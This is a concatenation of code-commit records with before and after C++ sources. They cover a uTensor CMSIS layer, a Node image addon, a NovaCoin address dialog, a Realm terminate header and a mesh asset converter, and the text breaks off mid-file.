scratch_data);\n \n\n \/\/Error checking\n}\n\n\/***\n * Here we have two types of kernel functions. The basic function implements the function using regular GEMV approach. The opt functions operates with weights in interleaved formats.\n *\n * http:\/\/www.keil.com\/pack\/doc\/CMSIS\/NN\/html\/group__FC.html#gae3857bb6375692e81dde8cbd70adec08\n *\/\n\n\/**\n * @param [in] iV input vector\n * @param [in] mW matrix weights\n * @param [in] b bias\n * @param [in] scratch scrath computation space\n * @param [out] pOut output\n *\/\ntemplate<typename T1, typename T2, typename T3>\nvoid FullyConnectedLayerOptCmsis(S_TENSOR iV, S_TENSOR mW, S_TENSOR b,\n S_TENSOR bShift, S_TENSOR oShift,\n S_TENSOR pOut, S_TENSOR scratch,\n T1 byteme1, T2 byteme2, T3 byteme3)\n{\n const T1* iV_data = iV->read<T1>(0, sizeof(T1)); \/\/Read one byte\n const T2* mW_data = mW->read<T2>(0, sizeof(T2)); \/\/Read one byte\n const T3* bias_data = b->read<T3>(0, sizeof(T3)); \/\/Read one byte\n const uint16_t dim_vec = iV->getShape()[0];\n const uint16_t num_of_rows = mW->getShape()[0];\n const uint16_t bias_shift = *(bShift->read<uint16_t>(0,0));\n const uint16_t out_shift = *(oShift->read<uint16_t>(0,0));\n pOut->resize(b->getShape());\n T1* pOut_data = pOut->write<T1>(0, sizeof(T1));\n q15_t* scratch_data = scratch->write<q15_t>(0, sizeof(q15_t));\n\n cmsis_fc_selector_opt(iV_data, mW_data, dim_vec, num_of_rows, \n bias_shift, out_shift, bias_data, pOut_data, scratch_data);\n \n\n \/\/Error checking\n}\n\ntemplate <class T1, class T2, class T3>\nclass FullyConnectedLayerCmsisOp : public Operator {\n public:\n FullyConnectedLayerCmsisOp() {\n n_inputs = 6;\n n_outputs = 1;\n }\n virtual void compute() override {\n T1 x;\n T2 y;\n T3 byteme;\n FullyConnectedLayerCmsis(inputs[0], inputs[1], inputs[2], inputs[3],\n inputs[4], outputs[0], inputs[5], x, y, byteme);\n }\n};\n\n\ntemplate <class T1, class T2, class T3>\nclass FullyConnectedLayerOptCmsisOp : public Operator {\n public:\n FullyConnectedLayerOptCmsisOp() {\n n_inputs = 6;\n n_outputs = 1;\n }\n virtual void compute() override {\n T1 x;\n T2 y;\n T3 byteme;\n FullyConnectedLayerOptCmsis(inputs[0], inputs[1], inputs[2], inputs[3],\n inputs[4], outputs[0], inputs[5], x, y, byteme);\n }\n};\n\n\n#endif \/*UTENSOR_FULLY_CONNECTED_OPS*\/\n<|endoftext|>"} {"text":"<commit_before>#include \"merlin_image.h\":\n\nnamespace merlin {\n\nPersistent<FunctionTemplate> MerlinImage::constructor_template;\n\nHandle<Value>\nMerlinImage::New(const Arguments& args) {\n HandleScope scope;\n node::Buffer *buf = ObjectWrap::Unwrap<node::Buffer>(args[0]->ToObject());\n MerlinImage* img = new MerlinImage(buf);\n img->Wrap(args.This());\n return scope.Close(args.This());\n}\n\nHandle<Value>\nMerlinImage::GetBuffer(const Arguments& args) {\n HandleScope scope;\n\n MerlinImage *img = ObjectWrap::Unwrap<MerlinImage>(args.This());\n Handle<Value> buf = img->buffer->handle_;\n\n return scope.Close(buf);\n}\n\nHandle<Value> \nMerlinImage::CropImage(const Arguments& args) {\n HandleScope scope;\n\n MerlinImage *img = ObjectWrap::Unwrap<MerlinImage>(args.This()); \n fprintf(stderr, \"1\\n\");\n fprintf(stderr, \"%i\", img->buffer->length());\n fprintf(stderr, \"1.5\\n\");\n node::Buffer* new_buffer = node::Buffer::New(img->buffer->length());\n fprintf(stderr, \"2\\n\");\n new_buffer->Utf8Write(img->buffer->data(), 0, img->buffer->length());\n fprintf(stderr, \"3\\n\");\n MerlinImage *new_image = new MerlinImage(new_buffer);\n fprintf(stderr, \"before return\\n\");\n return scope.Close(new_image->handle_);\n}\n\nvoid\nMerlinImage::Initialize(Handle<Object> target) {\n HandleScope scope;\n \n Handle<FunctionTemplate> f = FunctionTemplate::New(MerlinImage::New);\n constructor_template = Persistent<FunctionTemplate>::New(f);\n constructor_template->InstanceTemplate()->SetInternalFieldCount(1);\n constructor_template->SetClassName(String::NewSymbol(\"MerlinImage\"));\n\n NODE_SET_PROTOTYPE_METHOD(constructor_template, \"cropImage\", MerlinImage::CropImage);\n NODE_SET_PROTOTYPE_METHOD(constructor_template, \"getBuffer\", MerlinImage::GetBuffer);\n \n target->Set(String::NewSymbol(\"MerlinImage\"), constructor_template->GetFunction());\n}\n\nMerlinImage::MerlinImage(node::Buffer *buffer) : \n buffer(buffer)\n{\n wand = NewMagickWand();\n}\n\nMerlinImage::~MerlinImage() {\n delete buffer;\n wand = DestroyMagickWand(wand);\n}\n\n}\n<commit_msg>another shot at transferring buffers<commit_after>#include \"merlin_image.h\":\n\nnamespace merlin {\n\nPersistent<FunctionTemplate> MerlinImage::constructor_template;\n\nHandle<Value>\nMerlinImage::New(const Arguments& args) {\n HandleScope scope;\n node::Buffer *buf = ObjectWrap::Unwrap<node::Buffer>(args[0]->ToObject());\n MerlinImage* img = new MerlinImage(buf);\n img->Wrap(args.This());\n return scope.Close(args.This());\n}\n\nHandle<Value>\nMerlinImage::GetBuffer(const Arguments& args) {\n HandleScope scope;\n\n MerlinImage *img = ObjectWrap::Unwrap<MerlinImage>(args.This());\n Handle<Value> buf = img->buffer->handle_;\n\n return scope.Close(buf);\n}\n\nHandle<Value> \nMerlinImage::CropImage(const Arguments& args) {\n HandleScope scope;\n\n MerlinImage *img = ObjectWrap::Unwrap<MerlinImage>(args.This());\n fprintf(stderr, \"1\\n\");\n \/\/ return scope.Close(new_image->handle_);\n Handle<String> str = String::New(img->buffer->data(), img->buffer->length());\n return scope.Close(str);\n}\n\nvoid\nMerlinImage::Initialize(Handle<Object> target) {\n HandleScope scope;\n \n Handle<FunctionTemplate> f = FunctionTemplate::New(MerlinImage::New);\n constructor_template = Persistent<FunctionTemplate>::New(f);\n constructor_template->InstanceTemplate()->SetInternalFieldCount(1);\n constructor_template->SetClassName(String::NewSymbol(\"MerlinImage\"));\n\n NODE_SET_PROTOTYPE_METHOD(constructor_template, \"cropImage\", MerlinImage::CropImage);\n NODE_SET_PROTOTYPE_METHOD(constructor_template, \"getBuffer\", MerlinImage::GetBuffer);\n \n target->Set(String::NewSymbol(\"MerlinImage\"), constructor_template->GetFunction());\n}\n\nMerlinImage::MerlinImage(node::Buffer *buffer) : \n buffer(buffer)\n{\n wand = NewMagickWand();\n}\n\nMerlinImage::~MerlinImage() {\n delete buffer;\n wand = DestroyMagickWand(wand);\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"editaddressdialog.h\"\n#include \"ui_editaddressdialog.h\"\n#include \"addresstablemodel.h\"\n#include \"dialogwindowflags.h\"\n#include \"guiconstants.h\"\n#include \"guiutil.h\"\n\n#include <QDataWidgetMapper>\n#include <QMessageBox>\n\nEditAddressDialog::EditAddressDialog(Mode mode, QWidget *parent) :\n QDialog(parent, DIALOGWINDOWHINTS),\n ui(new Ui::EditAddressDialog), mapper(0), mode(mode), model(0)\n{\n ui->setupUi(this);\n\n GUIUtil::setupAddressWidget(ui->addressEdit, this);\n\n switch(mode)\n {\n case NewReceivingAddress:\n setWindowTitle(tr(\"New receiving address\"));\n ui->addressEdit->setEnabled(false);\n break;\n case NewSendingAddress:\n setWindowTitle(tr(\"New sending address\"));\n break;\n case EditReceivingAddress:\n setWindowTitle(tr(\"Edit receiving address\"));\n ui->addressEdit->setEnabled(false);\n break;\n case EditSendingAddress:\n setWindowTitle(tr(\"Edit sending address\"));\n break;\n }\n\n mapper = new QDataWidgetMapper(this);\n mapper->setSubmitPolicy(QDataWidgetMapper::ManualSubmit);\n}\n\nEditAddressDialog::~EditAddressDialog()\n{\n delete ui;\n}\n\nvoid EditAddressDialog::setModel(AddressTableModel *model)\n{\n this->model = model;\n if(!model)\n return;\n\n mapper->setModel(model);\n mapper->addMapping(ui->labelEdit, AddressTableModel::Label);\n mapper->addMapping(ui->addressEdit, AddressTableModel::Address);\n}\n\nvoid EditAddressDialog::loadRow(int row)\n{\n mapper->setCurrentIndex(row);\n}\n\nbool EditAddressDialog::saveCurrentRow()\n{\n if(!model)\n return false;\n\n switch(mode)\n {\n case NewReceivingAddress:\n case NewSendingAddress:\n address = model->addRow(\n mode == NewSendingAddress ? AddressTableModel::Send : AddressTableModel::Receive,\n ui->labelEdit->text(),\n ui->addressEdit->text());\n break;\n case EditReceivingAddress:\n case EditSendingAddress:\n if(mapper->submit())\n {\n address = ui->addressEdit->text();\n }\n break;\n }\n return !address.isEmpty();\n}\n\nvoid EditAddressDialog::accept()\n{\n if(!model)\n return;\n\n if(!saveCurrentRow())\n {\n switch(model->getEditStatus())\n {\n case AddressTableModel::OK:\n \/\/ Failed with unknown reason. Just reject.\n break;\n case AddressTableModel::NO_CHANGES:\n \/\/ No changes were made during edit operation. Just reject.\n break;\n case AddressTableModel::INVALID_ADDRESS:\n QMessageBox::warning(this, windowTitle(),\n tr(\"The entered address \\\"%1\\\" is not a valid NovaCoin address.\").arg(ui->addressEdit->text()),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case AddressTableModel::DUPLICATE_ADDRESS:\n QMessageBox::warning(this, windowTitle(),\n tr(\"The entered address \\\"%1\\\" is already in the address book.\").arg(ui->addressEdit->text()),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case AddressTableModel::WALLET_UNLOCK_FAILURE:\n QMessageBox::critical(this, windowTitle(),\n tr(\"Could not unlock wallet.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case AddressTableModel::KEY_GENERATION_FAILURE:\n QMessageBox::critical(this, windowTitle(),\n tr(\"New key generation failed.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n\n }\n return;\n }\n QDialog::accept();\n}\n\nQString EditAddressDialog::getAddress() const\n{\n return address;\n}\n\nvoid EditAddressDialog::setAddress(const QString &address)\n{\n this->address = address;\n ui->addressEdit->setText(address);\n}\n<commit_msg>лишний #include<commit_after>#include \"editaddressdialog.h\"\n#include \"ui_editaddressdialog.h\"\n#include \"addresstablemodel.h\"\n#include \"dialogwindowflags.h\"\n#include \"guiutil.h\"\n\n#include <QDataWidgetMapper>\n#include <QMessageBox>\n\nEditAddressDialog::EditAddressDialog(Mode mode, QWidget *parent) :\n QDialog(parent, DIALOGWINDOWHINTS),\n ui(new Ui::EditAddressDialog), mapper(0), mode(mode), model(0)\n{\n ui->setupUi(this);\n\n GUIUtil::setupAddressWidget(ui->addressEdit, this);\n\n switch(mode)\n {\n case NewReceivingAddress:\n setWindowTitle(tr(\"New receiving address\"));\n ui->addressEdit->setEnabled(false);\n break;\n case NewSendingAddress:\n setWindowTitle(tr(\"New sending address\"));\n break;\n case EditReceivingAddress:\n setWindowTitle(tr(\"Edit receiving address\"));\n ui->addressEdit->setEnabled(false);\n break;\n case EditSendingAddress:\n setWindowTitle(tr(\"Edit sending address\"));\n break;\n }\n\n mapper = new QDataWidgetMapper(this);\n mapper->setSubmitPolicy(QDataWidgetMapper::ManualSubmit);\n}\n\nEditAddressDialog::~EditAddressDialog()\n{\n delete ui;\n}\n\nvoid EditAddressDialog::setModel(AddressTableModel *model)\n{\n this->model = model;\n if(!model)\n return;\n\n mapper->setModel(model);\n mapper->addMapping(ui->labelEdit, AddressTableModel::Label);\n mapper->addMapping(ui->addressEdit, AddressTableModel::Address);\n}\n\nvoid EditAddressDialog::loadRow(int row)\n{\n mapper->setCurrentIndex(row);\n}\n\nbool EditAddressDialog::saveCurrentRow()\n{\n if(!model)\n return false;\n\n switch(mode)\n {\n case NewReceivingAddress:\n case NewSendingAddress:\n address = model->addRow(\n mode == NewSendingAddress ? AddressTableModel::Send : AddressTableModel::Receive,\n ui->labelEdit->text(),\n ui->addressEdit->text());\n break;\n case EditReceivingAddress:\n case EditSendingAddress:\n if(mapper->submit())\n {\n address = ui->addressEdit->text();\n }\n break;\n }\n return !address.isEmpty();\n}\n\nvoid EditAddressDialog::accept()\n{\n if(!model)\n return;\n\n if(!saveCurrentRow())\n {\n switch(model->getEditStatus())\n {\n case AddressTableModel::OK:\n \/\/ Failed with unknown reason. Just reject.\n break;\n case AddressTableModel::NO_CHANGES:\n \/\/ No changes were made during edit operation. Just reject.\n break;\n case AddressTableModel::INVALID_ADDRESS:\n QMessageBox::warning(this, windowTitle(),\n tr(\"The entered address \\\"%1\\\" is not a valid NovaCoin address.\").arg(ui->addressEdit->text()),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case AddressTableModel::DUPLICATE_ADDRESS:\n QMessageBox::warning(this, windowTitle(),\n tr(\"The entered address \\\"%1\\\" is already in the address book.\").arg(ui->addressEdit->text()),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case AddressTableModel::WALLET_UNLOCK_FAILURE:\n QMessageBox::critical(this, windowTitle(),\n tr(\"Could not unlock wallet.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case AddressTableModel::KEY_GENERATION_FAILURE:\n QMessageBox::critical(this, windowTitle(),\n tr(\"New key generation failed.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n\n }\n return;\n }\n QDialog::accept();\n}\n\nQString EditAddressDialog::getAddress() const\n{\n return address;\n}\n\nvoid EditAddressDialog::setAddress(const QString &address)\n{\n this->address = address;\n ui->addressEdit->setText(address);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * REALM CONFIDENTIAL\n * __________________\n *\n * [2011] - [2012] Realm Inc\n * All Rights Reserved.\n *\n * NOTICE: All information contained herein is, and remains\n * the property of Realm Incorporated and its suppliers,\n * if any. The intellectual and technical concepts contained\n * herein are proprietary to Realm Incorporated\n * and its suppliers and may be covered by U.S. and Foreign Patents,\n * patents in process, and are protected by trade secret or copyright law.\n * Dissemination of this information or reproduction of this material\n * is strictly forbidden unless prior written permission is obtained\n * from Realm Incorporated.\n *\n **************************************************************************\/\n#ifndef REALM_UTIL_TERMINATE_HPP\n#define REALM_UTIL_TERMINATE_HPP\n\n#include <sstream>\n#include <cstdlib>\n#include <string>\n\n#include <realm\/util\/features.h>\n\n#define REALM_TERMINATE(msg) realm::util::terminate((msg), __FILE__, __LINE__)\n\nnamespace realm {\nnamespace util {\nREALM_NORETURN void terminate_internal(std::stringstream&) noexcept;\n\nREALM_NORETURN inline void terminate(const char* message, const char* file, long line) noexcept {\n std::stringstream ss;\n ss << file << \":\" << line << \": \" << message << \"\\n\";\n terminate_internal(ss);\n}\n\ntemplate <typename T1, typename T2>\nREALM_NORETURN void terminate(const char* message, const char* file, long line, T1 info1, T2 info2) noexcept {\n std::stringstream ss;\n ss << file << \":\" << line << \": \" << message << \" [\" << info1 << \", \" << info2 << \"]\\n\";\n terminate_internal(ss);\n}\n\ntemplate <typename T1, typename T2, typename T3, typename T4>\nREALM_NORETURN void terminate(const char* message, const char* file, long line, T1 info1, T2 info2, T3 info3, T4 info4) noexcept {\n std::stringstream ss;\n ss << file << \":\" << line << \": \" << message << \" [\" << info1 << \", \" << info2 << \", \" << info3 << \", \" << info4 << \"]\\n\";\n terminate_internal(ss);\n}\n\ntemplate <typename T1, typename T2, typename T3, typename T4, typename T5, typename T6>\nREALM_NORETURN void terminate(const char* message, const char* file, long line, T1 info1, T2 info2, T3 info3, T4 info4, T5 info5, T6 info6) noexcept {\n std::stringstream ss;\n ss << file << \":\" << line << \": \" << message << \" [\" << info1 << \", \" << info2 << \", \" << info3 << \", \" << info4 << \", \" << info5 << \", \" << info6 << \"]\\n\";\n terminate_internal(ss);\n}\n\n} \/\/ namespace util\n} \/\/ namespace realm\n\n#endif \/\/ REALM_UTIL_TERMINATE_HPP\n<commit_msg>Reorganised headers in terminate.hpp<commit_after>\/*************************************************************************\n *\n * REALM CONFIDENTIAL\n * __________________\n *\n * [2011] - [2012] Realm Inc\n * All Rights Reserved.\n *\n * NOTICE: All information contained herein is, and remains\n * the property of Realm Incorporated and its suppliers,\n * if any. The intellectual and technical concepts contained\n * herein are proprietary to Realm Incorporated\n * and its suppliers and may be covered by U.S. and Foreign Patents,\n * patents in process, and are protected by trade secret or copyright law.\n * Dissemination of this information or reproduction of this material\n * is strictly forbidden unless prior written permission is obtained\n * from Realm Incorporated.\n *\n **************************************************************************\/\n#ifndef REALM_UTIL_TERMINATE_HPP\n#define REALM_UTIL_TERMINATE_HPP\n\n#include <cstdlib>\n#include <sstream>\n#include <string>\n\n#include <realm\/util\/features.h>\n\n#define REALM_TERMINATE(msg) realm::util::terminate((msg), __FILE__, __LINE__)\n\nnamespace realm {\nnamespace util {\nREALM_NORETURN void terminate_internal(std::stringstream&) noexcept;\n\nREALM_NORETURN inline void terminate(const char* message, const char* file, long line) noexcept {\n std::stringstream ss;\n ss << file << \":\" << line << \": \" << message << \"\\n\";\n terminate_internal(ss);\n}\n\ntemplate <typename T1, typename T2>\nREALM_NORETURN void terminate(const char* message, const char* file, long line, T1 info1, T2 info2) noexcept {\n std::stringstream ss;\n ss << file << \":\" << line << \": \" << message << \" [\" << info1 << \", \" << info2 << \"]\\n\";\n terminate_internal(ss);\n}\n\ntemplate <typename T1, typename T2, typename T3, typename T4>\nREALM_NORETURN void terminate(const char* message, const char* file, long line, T1 info1, T2 info2, T3 info3, T4 info4) noexcept {\n std::stringstream ss;\n ss << file << \":\" << line << \": \" << message << \" [\" << info1 << \", \" << info2 << \", \" << info3 << \", \" << info4 << \"]\\n\";\n terminate_internal(ss);\n}\n\ntemplate <typename T1, typename T2, typename T3, typename T4, typename T5, typename T6>\nREALM_NORETURN void terminate(const char* message, const char* file, long line, T1 info1, T2 info2, T3 info3, T4 info4, T5 info5, T6 info6) noexcept {\n std::stringstream ss;\n ss << file << \":\" << line << \": \" << message << \" [\" << info1 << \", \" << info2 << \", \" << info3 << \", \" << info4 << \", \" << info5 << \", \" << info6 << \"]\\n\";\n terminate_internal(ss);\n}\n\n} \/\/ namespace util\n} \/\/ namespace realm\n\n#endif \/\/ REALM_UTIL_TERMINATE_HPP\n<|endoftext|>"} {"text":"<commit_before>#include \"AssetConverter.hpp\"\n#include <Utility\/Log.hpp>\n#include <Engine\/Hymn.hpp>\n#include <Engine\/Util\/FileSystem.hpp>\n\nAssetConverter::AssetConverter() {\n}\n\nAssetConverter::~AssetConverter() {\n}\n\nvoid AssetConverter::Convert(const char* filepath, const char* destination, glm::vec3 scale, bool triangulate, bool importNormals, bool importTangents, bool flipUVs, bool importMaterial, Materials& materials) {\n success = true;\n errorString.clear();\n\n Geometry::AssetFileHandler file;\n\n \/\/ Return if file is not open.\n file.Open(destination, Geometry::AssetFileHandler::WRITE);\n\n unsigned int flags = triangulate ? aiProcess_Triangulate : 0;\n flags = importNormals ? flags : flags | aiProcess_CalcTangentSpace;\n flags = importTangents ? flags : flags | aiProcess_GenSmoothNormals;\n\n const aiScene* aScene = aImporter.ReadFile(filepath, flags);\n\n if (aScene == nullptr) {\n Log() << \"Error importing mesh: \" << filepath << \"\\n\";\n Log() << aImporter.GetErrorString() << \"\\n\";\n aImporter.FreeScene();\n aScene = aImporter.ReadFile(\"ErrorSign.fbx\", flags);\n }\n\n if (importMaterial) {\n if (aScene->mMeshes[0]->mMaterialIndex >= 0) {\n aiMaterial* material = aScene->mMaterials[aScene->mMeshes[0]->mMaterialIndex];\n \n LoadMaterial(material, aiTextureType_DIFFUSE, materials.albedo);\n LoadMaterial(material, aiTextureType_NORMALS, materials.normal);\n LoadMaterial(material, aiTextureType_SPECULAR, materials.roughness);\n LoadMaterial(material, aiTextureType_REFLECTION, materials.metallic);\n }\n }\n\n ConvertMeshes(aScene, &file, scale, flipUVs);\n\n aImporter.FreeScene();\n\n file.Close();\n}\n\nbool AssetConverter::Success() const {\n return success;\n}\n\nstd::string& AssetConverter::GetErrorString() {\n return errorString;\n}\n\nvoid AssetConverter::ConvertMeshes(const aiScene * aScene, Geometry::AssetFileHandler * file, glm::vec3 scale, bool flipUVs) {\n for (unsigned int i = 0; i < aScene->mNumMeshes; ++i)\n ConvertMesh(aScene->mMeshes[i], file, scale, flipUVs);\n}\n\nvoid AssetConverter::ConvertMesh(aiMesh * aMesh, Geometry::AssetFileHandler * file, glm::vec3 scale, bool flipUVs) {\n Geometry::AssetFileHandler::MeshData * meshData = new Geometry::AssetFileHandler::MeshData;\n \n meshData->parent = 0;\n\n \/\/ Convert vertices.\n unsigned int numVertices = aMesh->mNumVertices;\n meshData->numVertices = numVertices;\n\n \/\/ If mesh has no bones the mesh is static.\n if (aMesh->mNumBones == 0) {\n meshData->staticVertices = ConvertStaticVertices(aMesh, file, numVertices, scale, flipUVs);\n meshData->isSkinned = false;\n }\n else {\n meshData->skinnedVertices = ConvertSkinnedVertices(aMesh, file, numVertices, scale, flipUVs);\n meshData->isSkinned = true;\n }\n\n \/\/ Convert indicies. 3 indicies for a face\/triangle.\n unsigned int numIndicies = aMesh->mNumFaces * 3;\n uint32_t * indices = new uint32_t[numIndicies];\n unsigned int indexCounter = 0;\n for (unsigned int i = 0; i < aMesh->mNumFaces; ++i) {\n const aiFace& aFace = aMesh->mFaces[i];\n if (aFace.mNumIndices != 3) {\n errorString.append(\"ERROR: Mesh not triangulated.\\n\");\n success = false;\n delete[] indices;\n delete meshData;\n return;\n }\n\n indices[indexCounter++] = aFace.mIndices[0];\n indices[indexCounter++] = aFace.mIndices[1];\n indices[indexCounter++] = aFace.mIndices[2];\n }\n\n meshData->numIndices = indexCounter;\n meshData->indices = indices;\n \n CalculateAABB(meshData, meshData->numVertices);\n\n file->SaveStaticMesh(meshData);\n\n delete meshData;\n meshData = nullptr;\n}\n\nVideo::Geometry::VertexType::StaticVertex * AssetConverter::ConvertStaticVertices(aiMesh* aMesh, Geometry::AssetFileHandler* file, unsigned int numVertices, glm::vec3 scale, bool flipUVs) {\n Video::Geometry::VertexType::StaticVertex * vertices = new Video::Geometry::VertexType::StaticVertex[numVertices];\n\n \/\/ Positions.\n if (aMesh->HasNormals()) {\n for (unsigned int i = 0; i < numVertices; ++i) {\n Geometry::CpyVec(vertices[i].position, aMesh->mVertices[i]);\n vertices[i].position *= scale;\n }\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no positions yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].position = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n \/\/ Texture coordinates.\n if (aMesh->HasTextureCoords(0)) {\n for (unsigned int i = 0; i < numVertices; ++i) {\n Geometry::CpyVec(vertices[i].textureCoordinate, aMesh->mTextureCoords[0][i]);\n if (flipUVs) \n vertices[i].textureCoordinate.y = 1.0f - vertices[i].textureCoordinate.y;\n }\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no texture coordinates yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].textureCoordinate = glm::vec2(0.0f, 0.0f);\n }\n\n \/\/ Normals.\n if (aMesh->HasNormals()) {\n for (unsigned int i = 0; i < numVertices; ++i) {\n Geometry::CpyVec(vertices[i].normal, aMesh->mNormals[i]);\n }\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no normals yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].normal = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n \/\/ Tangents.\n if (aMesh->HasTangentsAndBitangents()) {\n for (unsigned int i = 0; i < numVertices; ++i)\n Geometry::CpyVec(vertices[i].tangent, aMesh->mTangents[i]);\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no tangents yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].tangent = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n return vertices;\n}\n\nVideo::Geometry::VertexType::SkinVertex * AssetConverter::ConvertSkinnedVertices(aiMesh * aMesh, Geometry::AssetFileHandler * file, unsigned int numVertices, glm::vec3 scale, bool flipUVs) {\n Video::Geometry::VertexType::SkinVertex * vertices = new Video::Geometry::VertexType::SkinVertex[numVertices];\n\n \/\/ Positions.\n if (aMesh->HasNormals()) {\n for (unsigned int i = 0; i < numVertices; ++i) {\n Geometry::CpyVec(vertices[i].position, aMesh->mVertices[i]);\n vertices[i].position *= scale;\n }\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no positions yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].position = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n \/\/ Texture coordinates.\n if (aMesh->HasTextureCoords(0)) {\n for (unsigned int i = 0; i < numVertices; ++i) {\n Geometry::CpyVec(vertices[i].textureCoordinate, aMesh->mTextureCoords[0][i]);\n if (flipUVs)\n vertices[i].textureCoordinate.y = 1.0f - vertices[i].textureCoordinate.y;\n }\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no texture coordinates yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].textureCoordinate = glm::vec2(0.0f, 0.0f);\n }\n\n \/\/ Normals.\n if (aMesh->HasNormals()) {\n for (unsigned int i = 0; i < numVertices; ++i)\n Geometry::CpyVec(vertices[i].normal, aMesh->mNormals[i]);\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no normals yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].normal = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n \/\/ Tangents.\n if (aMesh->HasTangentsAndBitangents()) {\n for (unsigned int i = 0; i < numVertices; ++i)\n Geometry::CpyVec(vertices[i].tangent, aMesh->mTangents[i]);\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no tangents yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].tangent = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n std::vector<unsigned int> weightCounter(numVertices, 0);\n\n for (unsigned int b = 0; b < aMesh->mNumBones; ++b) {\n const aiBone * aBone = aMesh->mBones[b];\n for (unsigned int i = 0; i < aBone->mNumWeights; ++i) {\n unsigned int vertexID = aBone->mWeights[i].mVertexId;\n unsigned int& count = weightCounter[vertexID];\n vertices[vertexID].weights[count] = aBone->mWeights[i].mWeight;\n vertices[vertexID].boneIDs[count] = i;\n ++count;\n }\n }\n\n weightCounter.clear();\n\n return vertices;\n}\n\nvoid AssetConverter::CalculateAABB(Geometry::AssetFileHandler::MeshData * meshData, unsigned int numVertices) {\n glm::vec3 minValues, maxValues, origin, dim;\n minValues = maxValues = origin = glm::vec3(0.f, 0.f, 0.f);\n\n \/\/ Find minimum\/maximum bounding points.\n for (std::size_t i = 0; i < numVertices; ++i) {\n const glm::vec3& pos = meshData->isSkinned ? meshData->skinnedVertices[i].position : meshData->staticVertices[i].position;\n if (pos.x > maxValues.x)\n maxValues.x = pos.x;\n else if (pos.x < minValues.x)\n minValues.x = pos.x;\n\n if (pos.y > maxValues.y)\n maxValues.y = pos.y;\n else if (pos.y < minValues.y)\n minValues.y = pos.y;\n\n if (pos.z > maxValues.z)\n maxValues.z = pos.z;\n else if (pos.z < minValues.z)\n minValues.z = pos.z;\n }\n\n \/\/ Set origin.\n origin.x = (minValues.x + maxValues.x) \/ 2.f;\n origin.y = (minValues.y + maxValues.y) \/ 2.f;\n origin.z = (minValues.z + maxValues.z) \/ 2.f;\n\n \/\/ Dimensions.\n dim.x = maxValues.x - minValues.x;\n dim.y = maxValues.y - minValues.y;\n dim.z = maxValues.z - minValues.z;\n\n meshData->aabbDim = dim;\n meshData->aabbOrigin = origin;\n meshData->aabbMaxpos = maxValues;\n meshData->aabbMinpos = minValues;\n}\n\nvoid AssetConverter::LoadMaterial(aiMaterial* material, aiTextureType type, std::string& path) {\n if (material->GetTextureCount(type) > 0) {\n aiString p;\n material->GetTexture(type, 0, &p);\n path = p.C_Str();\n }\n}\n<commit_msg>Update AssetConverter.cpp<commit_after>#include \"AssetConverter.hpp\"\n#include <Utility\/Log.hpp>\n#include <Engine\/Hymn.hpp>\n#include <Engine\/Util\/FileSystem.hpp>\n\nAssetConverter::AssetConverter() {\n}\n\nAssetConverter::~AssetConverter() {\n}\n\nvoid AssetConverter::Convert(const char* filepath, const char* destination, glm::vec3 scale, bool triangulate, bool importNormals, bool importTangents, bool flipUVs, bool importMaterial, Materials& materials) {\n success = true;\n errorString.clear();\n\n Geometry::AssetFileHandler file;\n\n \/\/ Return if file is not open.\n file.Open(destination, Geometry::AssetFileHandler::WRITE);\n\n unsigned int flags = triangulate ? aiProcess_Triangulate : 0;\n flags = importNormals ? flags : flags | aiProcess_CalcTangentSpace;\n flags = importTangents ? flags : flags | aiProcess_GenSmoothNormals;\n\n const aiScene* aScene = aImporter.ReadFile(filepath, flags);\n\n if (aScene == nullptr) {\n Log() << \"Error importing mesh: \" << filepath << \"\\n\";\n Log() << aImporter.GetErrorString() << \"\\n\";\n aImporter.FreeScene();\n aScene = aImporter.ReadFile(\"ErrorSign.fbx\", flags);\n }\n\n if (importMaterial) {\n if (aScene->mMeshes[0]->mMaterialIndex >= 0) {\n aiMaterial* material = aScene->mMaterials[aScene->mMeshes[0]->mMaterialIndex];\n LoadMaterial(material, aiTextureType_DIFFUSE, materials.albedo);\n LoadMaterial(material, aiTextureType_NORMALS, materials.normal);\n LoadMaterial(material, aiTextureType_SPECULAR, materials.roughness);\n LoadMaterial(material, aiTextureType_REFLECTION, materials.metallic);\n }\n }\n\n ConvertMeshes(aScene, &file, scale, flipUVs);\n\n aImporter.FreeScene();\n\n file.Close();\n}\n\nbool AssetConverter::Success() const {\n return success;\n}\n\nstd::string& AssetConverter::GetErrorString() {\n return errorString;\n}\n\nvoid AssetConverter::ConvertMeshes(const aiScene * aScene, Geometry::AssetFileHandler * file, glm::vec3 scale, bool flipUVs) {\n for 